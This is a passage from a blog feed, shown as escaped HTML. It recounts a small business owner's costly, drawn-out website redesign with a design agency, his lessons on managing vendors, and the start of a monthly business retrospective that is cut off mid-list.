 src="https://mtlynch.io/tinypilot-redesign/not-sure-what-would-help.png" alt="Cartoon of a cat building a mostly complete doghouse for a dog. The cat is holding open an empty bag for money, saying &amp;#39;I&amp;amp;rsquo;m not sure what would help me finish...&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>As diplomatically as possible, I told Isaac that I felt like the situation was DesignAgency&amp;rsquo;s fault. If a retainer agreement was better for everyone, why didn&amp;rsquo;t they propose it months ago? The project could have been done by now.&lt;/p>
&lt;p>Isaac conceded that the situation was unfair to me. He promised to retroactively adjust my December and January bills as if I&amp;rsquo;d been on a retainer agreement and refund the difference. The offer was not even contingent on me signing the retainer.&lt;/p>
&lt;p>But what would we do with 40 hours per month? There were only 20 hours left in the project.&lt;/p>
&lt;p>Isaac proposed that DesignAgency take over the dev work as well. DesignAgency billed a higher rate than TinyPilot&amp;rsquo;s in-house developers, but Isaac predicted they&amp;rsquo;d reduce costs overall. TinyPilot&amp;rsquo;s devs specialize in programming languages like Python and JavaScript, but DesignAgency&amp;rsquo;s devs had more experience with design-heavy CSS work.&lt;/p>
&lt;p>I signed the retainer. My 60 high-quality retainer hours were scheduled to begin in March.&lt;/p>
&lt;h2 id="development-begins-with-minor-bugfixes">Development begins with&amp;hellip; minor bugfixes?&lt;/h2>
&lt;p>The retainer agreement started off well. Within the first week, DesignAgency wrapped up almost all of the outstanding design tasks. There were still some slight kinks to work out, but two of the three pages were ready to hand over to the developers.&lt;/p>
&lt;p>And then, radio silence.&lt;/p>
&lt;p>For two weeks, there was no activity from the dev team. I asked Isaac what was going on, and he explained that DesignAgency&amp;rsquo;s schedule is fluid, so they don&amp;rsquo;t necessarily work on my project every week. He assured me that by the end of the month, they&amp;rsquo;d certainly use the remaining 48 hours I&amp;rsquo;d booked for the month.&lt;/p>
&lt;p>When the month ended, DesignAgency hadn&amp;rsquo;t moved the website any closer to the new design. Instead, they spent the last few days of the month fixing minor bugs from my issue tracker.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 938px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/console-log.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 938px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/console-log_hu_a60d39a19bd14c93.png 300w, https://mtlynch.io/tinypilot-redesign/console-log_hu_83288296b688e653.png 600w, https://mtlynch.io/tinypilot-redesign/console-log_hu_e436a8d1008e72c8.png 800w, https://mtlynch.io/tinypilot-redesign/console-log.png 936w'
 src="https://mtlynch.io/tinypilot-redesign/console-log.png" alt="Screenshot of new landing page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>One of the DesignAgency developers used 15 of the month&amp;rsquo;s 60 hours to fix the minor bugs from the end of the task queue.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>What inspired DesignAgency to take on these insignificant bugs, you ask? Well, DesignAgency had asked me to create GitHub tickets for each redesign task. DesignAgency warned that they don&amp;rsquo;t refund or roll over unused hours, so they encouraged me to overbook the schedule with tasks beyond the redesign work.&lt;/p>
&lt;p>What I didn&amp;rsquo;t expect was how DesignAgency would split the tickets among their developers. I thought developer A would work on page X, and developer B would work on page Y. Instead, DesignAgency assigned all the design-related tickets to developer A and left the rest to developer B. And that&amp;rsquo;s how a quarter of the March dev budget went to minor bugfixes.&lt;/p>
&lt;h2 id="the-one-week-task-that-took-five-weeks">The one-week task that took five weeks&lt;/h2>
&lt;p>In April, there was a new problem.&lt;/p>
&lt;p>The TinyPilot website uses the &lt;a href="https://getbootstrap.com/">Bootstrap CSS framework&lt;/a>, and it still had the same Bootstrap theme from when I first launched the website.&lt;/p>
&lt;p>DesignAgency pointed out that layering a new design onto a totally different theme would be messy. They proposed replacing the theme and our ad-hoc CSS with a custom TinyPilot Bootstrap theme. Their dev estimated that he&amp;rsquo;d only need a few days to complete the switch, and it would accelerate the rest of the project.&lt;/p>
&lt;p>Sure, that sounded fine.&lt;/p>
&lt;p>Days stretched into weeks, and there were no updates about the new theme. Was the work taking longer than they expected? Or was this a repeat of March, and they&amp;rsquo;d squeeze everything into the last few days of the month?&lt;/p>
&lt;p>The following month&amp;rsquo;s invoice gave me the answer. The &amp;ldquo;one-week&amp;rdquo; task of replacing the Bootstrap theme ultimately took five weeks and 38 billable hours for a total cost of $6.1k.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1129px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/before-theme.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1129px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/before-theme_hu_ea592176cf3a36c5.png 300w, https://mtlynch.io/tinypilot-redesign/before-theme_hu_a030717305fc4487.png 600w, https://mtlynch.io/tinypilot-redesign/before-theme_hu_30dba472082eb020.png 800w, https://mtlynch.io/tinypilot-redesign/before-theme.png 1127w'
 src="https://mtlynch.io/tinypilot-redesign/before-theme.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1129px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/after-theme.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1129px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/after-theme_hu_e405aae23ce7cc1e.png 300w, https://mtlynch.io/tinypilot-redesign/after-theme_hu_2ec88f994acd6e4.png 600w, https://mtlynch.io/tinypilot-redesign/after-theme_hu_45aa3d6b664af843.png 800w, https://mtlynch.io/tinypilot-redesign/after-theme.png 1127w'
 src="https://mtlynch.io/tinypilot-redesign/after-theme.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Before and after five weeks and $6.1k of web development&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h2 id="the-final-month">The final month&lt;/h2>
&lt;p>By May, we were seven months and $46k into what was supposed to be a four-week, $7k rebranding. Every month, it seemed like we were weeks away from the finish line, but something always popped up to prevent DesignAgency from finishing anything I cared about.&lt;/p>
&lt;p>It was time to call it. I gave DesignAgency the required 28-days&amp;rsquo; notice to terminate the contract.&lt;/p>
&lt;p>DesignAgency required each month&amp;rsquo;s payment upfront, so they already had all of my money for the final month. And now I&amp;rsquo;d fired them, so what incentive did they have to finish the work?&lt;/p>
&lt;p>Surprisingly, the dev work was never smoother than after I terminated the contract. The project finally worked at the pace I expected from the beginning. DesignAgency coded up each page within 7-10 days.&lt;/p>
&lt;p>There were still issues, but I was prepared this time. DesignAgency kept suggesting new flourishes to the design. I declined them all and told them to focus on the design I&amp;rsquo;d approved. I&amp;rsquo;m glad I did because they&amp;rsquo;d probably still be working on the website today.&lt;/p>
&lt;p>On the last day of the month, the final page still wasn&amp;rsquo;t done, and DesignAgency hadn&amp;rsquo;t communicated with me about disengaging from the project.&lt;/p>
&lt;p>On June 1st, the day after our contract officially ended, their dev told me that Isaac had authorized him to finish the outstanding work at no charge. He wrapped up the final page within two days.&lt;/p>
&lt;p>And then it was finally done! This project had spiraled so far beyond what I initially wanted and transformed into an interminable drain on my time and finances. I was incredibly relieved to put it behind me.&lt;/p>
&lt;h2 id="before-and-after">Before and after&lt;/h2>
&lt;p>Here&amp;rsquo;s what the site looked like after the redesign:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/landing-before.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/landing-before_hu_990b987a53a7a63d.png 300w, https://mtlynch.io/tinypilot-redesign/landing-before_hu_d52bc8595ede6ef5.png 600w, https://mtlynch.io/tinypilot-redesign/landing-before_hu_74df353f9a9d291e.png 800w, https://mtlynch.io/tinypilot-redesign/landing-before_hu_49993555044ac469.png 1200w, https://mtlynch.io/tinypilot-redesign/landing-before.png 1331w'
 src="https://mtlynch.io/tinypilot-redesign/landing-before.png" alt="Screenshot of old landing page" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 260px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/landing-after.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 260px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/landing-after_hu_42a2fa04f744cfc0.png 300w, https://mtlynch.io/tinypilot-redesign/landing-after_hu_1611170efef2dda5.png 600w, https://mtlynch.io/tinypilot-redesign/landing-after_hu_ec0109d5a772da88.png 800w, https://mtlynch.io/tinypilot-redesign/landing-after_hu_ef5bffd4af5027f5.png 1200w, https://mtlynch.io/tinypilot-redesign/landing-after.png 1331w'
 src="https://mtlynch.io/tinypilot-redesign/landing-after.png" alt="Screenshot of new landing page" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Before and after landing page redesign&lt;/p>&lt;/figcaption>
&lt;/figure>



&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/product-before.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/product-before_hu_bedcd9a4567527c4.png 300w, https://mtlynch.io/tinypilot-redesign/product-before_hu_4505a560a3770ac8.png 600w, https://mtlynch.io/tinypilot-redesign/product-before_hu_4eafc25d86d1dbab.png 800w, https://mtlynch.io/tinypilot-redesign/product-before_hu_b08a6653dcfe3ee0.png 1200w, https://mtlynch.io/tinypilot-redesign/product-before.png 1331w'
 src="https://mtlynch.io/tinypilot-redesign/product-before.png" alt="Screenshot of old Voyager 2 product page" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 220px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/product-after.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 220px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/product-after_hu_b1c9fdebfe6e5524.png 300w, https://mtlynch.io/tinypilot-redesign/product-after_hu_7051d5d45466810.png 600w, https://mtlynch.io/tinypilot-redesign/product-after_hu_78b4a4d5b75d2d86.png 800w, https://mtlynch.io/tinypilot-redesign/product-after_hu_64620297698e565.png 1200w, https://mtlynch.io/tinypilot-redesign/product-after.png 1331w'
 src="https://mtlynch.io/tinypilot-redesign/product-after.png" alt="Screenshot of new Voyager 2 product page" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Before and after product page redesign&lt;/p>&lt;/figcaption>
&lt;/figure>



&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/cart-before.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/cart-before_hu_3c7ba7822272ee62.png 300w, https://mtlynch.io/tinypilot-redesign/cart-before_hu_a60c068b01ad600.png 600w, https://mtlynch.io/tinypilot-redesign/cart-before_hu_7546457fa5ade6a3.png 800w, https://mtlynch.io/tinypilot-redesign/cart-before_hu_5e2d08ae5ca2c1a7.png 1200w, https://mtlynch.io/tinypilot-redesign/cart-before.png 1331w'
 src="https://mtlynch.io/tinypilot-redesign/cart-before.png" alt="Screenshot of old shopping cart page" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 340px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/cart-after.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 340px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/cart-after_hu_f85288824ac75ad9.png 300w, https://mtlynch.io/tinypilot-redesign/cart-after_hu_74001ed2b8e24fdc.png 600w, https://mtlynch.io/tinypilot-redesign/cart-after_hu_507bb4db764e8e0a.png 800w, https://mtlynch.io/tinypilot-redesign/cart-after_hu_2bb7ecad305ca4ae.png 1200w, https://mtlynch.io/tinypilot-redesign/cart-after.png 1331w'
 src="https://mtlynch.io/tinypilot-redesign/cart-after.png" alt="Screenshot of new shopping cart page" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Before and after shopping cart page redesign&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h2 id="the-postmortem">The postmortem&lt;/h2>
&lt;p>After the project ended, I invited Isaac to a call to discuss what each of us could have done to improve the project&amp;rsquo;s outcome. I explained that I was writing a blog post about my takeaways from our work together.&lt;/p>
&lt;p>Isaac was candid with me that the project hadn&amp;rsquo;t gone as smoothly as he&amp;rsquo;d hoped. He felt that the underlying problem was DesignAgency&amp;rsquo;s difficulty scaling down their workflows to fit TinyPilot&amp;rsquo;s budget. Their typical client has a retainer in the range of $20-40k per month. TinyPilot was buying only 40-60 hours per month, which they typically reserve for maintenance rather than new development.&lt;/p>
&lt;p>I told Isaac that I wished we&amp;rsquo;d structured the work to give me usable assets sooner. I would have preferred to have the logo first, then a new navbar design, then the landing page design, etc. He said that DesignAgency&amp;rsquo;s clients are typically only interested in final results rather than intermediate pieces, but he understood why incremental work would have benefitted me.&lt;/p>
&lt;p>I shared my surprise at how little DesignAgency managed the project. I expected DesignAgency&amp;rsquo;s project managers to provide regular status updates and maintain project timelines, but nobody was doing that. Isaac said this was a misstep on his part. DesignAgency tries to keep project management to less than 5% of billable hours. At my scale, 5% would be too limited to provide any tangible benefit, so he eliminated project management entirely. He admitted that, in retrospect, he should have included me in that conversation to make sure it was what I wanted.&lt;/p>
&lt;p>Because DesignAgency shared their hours so infrequently and worked an irregular schedule, I could never tell when a task was bloating beyond my expectations. I wished I&amp;rsquo;d raised this issue earlier because it turned out all I had to do was ask. DesignAgency tracks billable time with &lt;a href="https://toggl.com">toggl&lt;/a>, and Isaac would have been happy to give me access to their dashboard.&lt;/p>
&lt;h2 id="what-id-do-differently">What I&amp;rsquo;d do differently&lt;/h2>
&lt;p>If I were approaching this project again, here are the things I&amp;rsquo;d do differently, in descending order of importance.&lt;/p>
&lt;h3 id="hire-an-individual-freelancer-instead-of-an-agency">Hire an individual freelancer instead of an agency&lt;/h3>
&lt;p>I don&amp;rsquo;t want to overgeneralize agencies based on this one experience, but I think an individual freelancer would have been a better fit for a business of my size.&lt;/p>
&lt;p>Many of the problems were around management, resource allocation, and communication. I drastically underestimated how difficult those problems would be with a team rather than a single freelancer.&lt;/p>
&lt;p>The agency was working with me for 40-60 hours per month, the same as each of TinyPilot&amp;rsquo;s other freelance developers. I thought the agency would require similar oversight to one freelancer, but having more people on a project requires more management, even if they&amp;rsquo;re collectively working only 40 hours per month.&lt;/p>
&lt;h3 id="structure-for-serial-incremental-results">Structure for serial, incremental results&lt;/h3>
&lt;p>At first, it seemed like a no-brainer to let the agency parallelize their work as much as possible. It lets them use their resources efficiently, so I&amp;rsquo;d get faster results for lower costs.&lt;/p>
&lt;p>But think about it this way: if a project involves eight tasks that will take roughly one month each, which would you rather have?&lt;/p>
&lt;ul>
&lt;li>One task completed per month for eight months&lt;/li>
&lt;li>Nothing for seven months and then everything delivered at the end of month eight&lt;/li>
&lt;/ul>
&lt;p>The one-at-a-time is better value for your money. At the end of month one, you have one asset that provides value to your business for the next seven months. In month two, you have more, and so on.&lt;/p>
&lt;p>Parallelizing everything also puts you in a weak negotiating position. If the agency has eight tasks that are all 80% complete, it&amp;rsquo;s expensive for you to scope down the project or switch vendors. If you limit the agency to only two or three tasks at a time, those are the only tasks at risk if the project goes south.&lt;/p>
&lt;p>Lastly, it&amp;rsquo;s more mentally taxing to oversee eight subprojects at once. Every unfinished task occupies real estate in your mind. It&amp;rsquo;s better to knock them out in small batches than to drag everything out for the entire project.&lt;/p>
&lt;h3 id="narrow-the-project-scope">Narrow the project scope&lt;/h3>
&lt;p>At the design stage, I let the agency go too far in redesigning the website when they were supposed to focus exclusively on the logo, color scheme, and fonts.&lt;/p>
&lt;p>During the implementation phase, I should have been more aggressive in preventing them from working on minor bugfixes until they finished publishing the new designs.&lt;/p>
&lt;h3 id="agree-on-timelines">Agree on timelines&lt;/h3>
&lt;p>In my first meeting with DesignAgency&amp;rsquo;s team, I asked how long they expected my project to take. &amp;ldquo;How long is a piece of string?&amp;rdquo; their lead designer asked.&lt;/p>
&lt;p>It was up to me, he explained. I might love their first pitch, or I could reject everything for weeks. That was sensible, so I didn&amp;rsquo;t push for a more exact timeline.&lt;/p>
&lt;p>I mistakenly let that lax attitude carry into the development work. I should have pressed the developers to share estimates of each task and asked them to revisit the scope if the work ballooned far beyond our expectations. That would have prevented situations like &lt;a href="#the-one-week-task-that-took-five-weeks">the five-week refactoring quest&lt;/a> that was only supposed to take a few days.&lt;/p>
&lt;h3 id="require-a-shared-view-of-billable-hours">Require a shared view of billable hours&lt;/h3>
&lt;p>Many of the issues with scope bloat resulted from the slow feedback loop in DesignAgency&amp;rsquo;s reporting.&lt;/p>
&lt;p>DesignAgency&amp;rsquo;s process is to report hours twice per month. On the 15th, they share the total number of hours they&amp;rsquo;ve used with no details about which tasks contributed to the total. At the end of the month, they send a per-task breakdown.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 







&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/mid-month-report.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/mid-month-report_hu_e2379fea636aefe2.png 300w, https://mtlynch.io/tinypilot-redesign/mid-month-report.png 555w'
 src="https://mtlynch.io/tinypilot-redesign/mid-month-report.png" alt="Screenshot of DesignAgency&amp;#39;s billing breakdown by task" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/hours-summary.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/hours-summary_hu_7ab2ac9a938ad837.png 300w, https://mtlynch.io/tinypilot-redesign/hours-summary_hu_87699d234b2f0e42.png 600w, https://mtlynch.io/tinypilot-redesign/hours-summary.png 738w'
 src="https://mtlynch.io/tinypilot-redesign/hours-summary.png" alt="Screenshot of DesignAgency&amp;#39;s billing breakdown by task" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>DesignAgency reports a simple total of hours on the 15th of the month and then a detailed breakdown at the end of the month.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>In contrast, TinyPilot&amp;rsquo;s in-house developers report their hours at the end of each working session, so I have a better sense of their progress. If a 10-hour task starts looking more like a 25-hour task, we re-evaluate whether to eliminate or downscope the task.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 330px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/work-timing.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 330px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/work-timing_hu_92feb2f08eacff5d.png 300w, https://mtlynch.io/tinypilot-redesign/work-timing.png 328w'
 src="https://mtlynch.io/tinypilot-redesign/work-timing.png" alt="Screenshot of TinyPilot hours reporting on Deel" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s in-house developers report their hours as they go.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>If I work with a design agency in the future, I&amp;rsquo;ll insist on a tool that lets us share a view of billable hours as they happen, similar to what I use with TinyPilot&amp;rsquo;s regular devs.&lt;/p>
&lt;h3 id="avoid-hiring-a-vendor-as-their-smallest-client">Avoid hiring a vendor as their smallest client&lt;/h3>
&lt;p>When we started the project, DesignAgency told me that most of their clients were larger than I was, but they wanted to help me grow. It sounded like a great deal — I&amp;rsquo;d enjoy service normally reserved for large companies despite my limited budget.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/big-airline.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/big-airline_hu_c015b442825236bc.jpg 300w, https://mtlynch.io/tinypilot-redesign/big-airline_hu_42fbe8d5f470443e.jpg 600w, https://mtlynch.io/tinypilot-redesign/big-airline_hu_b4832829e6ff6a96.jpg 800w, https://mtlynch.io/tinypilot-redesign/big-airline_hu_736934a0e00b1abd.jpg 1200w, https://mtlynch.io/tinypilot-redesign/big-airline.jpg 1600w'
 src="https://mtlynch.io/tinypilot-redesign/big-airline.jpg" alt="Scene from Mad Men where Mohawk Airlines tells Don Draper, &amp;#39;You said Sterling Cooper Didn&amp;amp;rsquo;t need a big airline... you were going to make *us* a big airline.&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My initial conversation with DesignAgency, as I remember it.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>In reality, I didn&amp;rsquo;t get the same service as their larger clients. When I was an hourly client, DesignAgency kept deprioritizing me in favor of their retainer clients. When I upgraded to a retainer plan, they struggled to work effectively within my budget.&lt;/p>
&lt;h2 id="why-didnt-you-just">Why didn&amp;rsquo;t you just&amp;hellip;?&lt;/h2>
&lt;p>I&amp;rsquo;ve shared pieces of this story in my &lt;a href="https://mtlynch.io/retrospectives">monthly retrospectives&lt;/a>, and I&amp;rsquo;ve gotten questions about why I didn&amp;rsquo;t solve the problem in some easy, obvious way. I think this feedback is well-intentioned, but I suspect it comes from armchair experts and people who have only worked with agencies as large, powerful clients.&lt;/p>
&lt;p>Below, I&amp;rsquo;ve addressed why the obvious suggestions I&amp;rsquo;ve received wouldn&amp;rsquo;t have worked.&lt;/p>
&lt;h3 id="why-didnt-you-just-refuse-to-pay-them-until-the-work-was-done">Why didn&amp;rsquo;t you just refuse to pay them until the work was done?&lt;/h3>
&lt;p>DesignAgency required payment up-front. For the hourly contract, I had to buy time in 30-hour blocks. For the monthly retainer, I had to pay each month&amp;rsquo;s bill by the 1st of each month. There was no financial leverage to force them to complete the project.&lt;/p>
&lt;p>If I had insisted on milestone-based payments from the beginning, DesignAgency likely would have declined the project. They saw me as a small client who could grow, but nobody wants to work with a tiny client who&amp;rsquo;s as demanding as a huge corporation.&lt;/p>
&lt;h3 id="why-didnt-you-just-find-a-cheap-developer-to-do-it-for-4hr">Why didn&amp;rsquo;t you just find a cheap developer to do it for $4/hr?&lt;/h3>
&lt;p>In my experience, cheap developers are worthwhile if:&lt;/p>
&lt;ol>
&lt;li>You need throwaway code that has to work exactly once&lt;/li>
&lt;li>You value your time at zero, so you don&amp;rsquo;t mind giving two hours of feedback for every hour of work you receive from the freelancer&lt;/li>
&lt;/ol>
&lt;p>I plan to keep the TinyPilot website around for a while, so I need code I&amp;rsquo;m comfortable maintaining. For that, I need a competent developer who can write clear code.&lt;/p>
&lt;h3 id="why-didnt-you-just-fire-them-and-hire-someone-better">Why didn&amp;rsquo;t you just fire them and hire someone better?&lt;/h3>
&lt;p>Firing DesignAgency and searching for a replacement would have burned 30-60 hours of management time. And there was no guarantee that I&amp;rsquo;d find someone better.&lt;/p>
&lt;p>For most of the project, I was sitting on a bunch of partially-complete tasks. The cost of reassigning half-done work and spinning up a new vendor would be almost as expensive as starting over from scratch.&lt;/p>
&lt;h3 id="why-didnt-you-just-use-a-shopify-template">Why didn&amp;rsquo;t you just use a Shopify template?&lt;/h3>
&lt;p>If I could go back to when I first created the website, I would have made it a simple Shopify store with a custom theme.&lt;/p>
&lt;p>When I launched the site, I didn&amp;rsquo;t want to marry myself to Shopify and learn their templating system when all I needed was a simple &amp;ldquo;buy&amp;rdquo; button. I hand-coded the site using a frontend framework I knew well.&lt;/p>
&lt;p>Over time, TinyPilot&amp;rsquo;s purchase experience became more complex. I ended up expensively reimplementing functionality that would have been free had I used a Shopify template. But at this point, migrating all the site&amp;rsquo;s content to Shopify would be its own major project, so I stuck with redesigning what I had.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>I genuinely believe that DesignAgency tried their best on this project. I don&amp;rsquo;t feel like they meant to deceive me or squeeze money out of me. We just didn&amp;rsquo;t match. I was used to working with individual freelancers, and DesignAgency was accustomed to larger clients.&lt;/p>
&lt;p>If I had to do it over again, I wouldn&amp;rsquo;t. But despite all the missteps and stress, the results might justify all the pain. I expected the new website to increase sales by 10-20%, but it&amp;rsquo;s been closer to 40%. In July, the TinyPilot website &lt;a href="https://mtlynch.io/retrospectives/2022/07/#tinypilot-stats">hit an all-time high of $72.5k in sales&lt;/a>, 66% higher than before the redesign.&lt;/p>
&lt;p>It&amp;rsquo;s too early to tell, but I&amp;rsquo;m optimistic about earning a positive return on the $46k I paid DesignAgency.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 898px">



 &lt;a href="https://mtlynch.io/tinypilot-redesign/sales-timeline.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 898px, 98vw"
 srcset='https://mtlynch.io/tinypilot-redesign/sales-timeline_hu_6af6564f1de9933e.png 300w, https://mtlynch.io/tinypilot-redesign/sales-timeline_hu_c5cfd2fac7511749.png 600w, https://mtlynch.io/tinypilot-redesign/sales-timeline_hu_577b9d3b05e3b87c.png 800w, https://mtlynch.io/tinypilot-redesign/sales-timeline.png 896w'
 src="https://mtlynch.io/tinypilot-redesign/sales-timeline.png" alt="Graph of TinyPilot sales showing a permanent increase in November when we discontinued our low-cost product, a temporary spike in March for a new product, and an increase for the last two months of having the new website." loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Sales through the TinyPilot website over the last year&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;hr>
&lt;p>&lt;em>Doghouse illustration by Loraine Yow.&lt;/em>&lt;/p>
&lt;p>&lt;em>Thanks to the members of the &lt;a href="https://bloggingfordevs.com">Blogging for Devs Community&lt;/a> for providing early feedback on this post.&lt;/em>&lt;/p></content:encoded></item><item><title>TinyPilot: Month 24</title><link>https://mtlynch.io/retrospectives/2022/07/</link><pubDate>Wed, 06 Jul 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2022/07/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot reached an all-time high of $74k in revenue.&lt;/li>
&lt;li>I&amp;rsquo;m trying to figure out the best approach to software licensing.&lt;/li>
&lt;li>I&amp;rsquo;m still searching for a web framework I can love.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="create-a-self-contained-tarball-for-installing-tinypilot">Create a self-contained tarball for installing TinyPilot&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We now have a working tarball package&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>TinyPilot&amp;rsquo;s install process has been growing more complex over time. It pulls in code from multiple repositories and third-party dependencies, and it&amp;rsquo;s becoming increasingly difficult to keep track of those relationships.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot reached an all-time high of $74k in revenue.&lt;/li>
&lt;li>I&amp;rsquo;m trying to figure out the best approach to software licensing.&lt;/li>
&lt;li>I&amp;rsquo;m still searching for a web framework I can love.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="create-a-self-contained-tarball-for-installing-tinypilot">Create a self-contained tarball for installing TinyPilot&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We now have a working tarball package&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>TinyPilot&amp;rsquo;s install process has been growing more complex over time. It pulls in code from multiple repositories and third-party dependencies, and it&amp;rsquo;s becoming increasingly difficult to keep track of those relationships.&lt;/p>
&lt;p>We&amp;rsquo;re currently overhauling the install process by converging everything into a single tarball. This centralizes all of the dependencies in a clear location. We&amp;rsquo;re in the process of switching the free version of TinyPilot to the new update system, and we&amp;rsquo;ll migrate TinyPilot Pro soon after.&lt;/p>
&lt;h3 id="complete-the-first-draft-of-a-full-length-blog-post-about-the-tinypilot-website-redesign">Complete the first draft of a full-length blog post about the TinyPilot website redesign&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Completed the first draft&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I thought it would be easy to write the blog post because I&amp;rsquo;d written so much about the experience in my retrospectives, but I write full-length posts in a different style, so I still have to rewrite a lot. It&amp;rsquo;s 5,200 words, which is about twice as long as my typical article, so I&amp;rsquo;m trying to trim it down.&lt;/p>
&lt;h3 id="increase-roas-on-paid-search-ads-to-20">Increase ROAS on paid search ads to 2.0&lt;/h3>
&lt;ul>
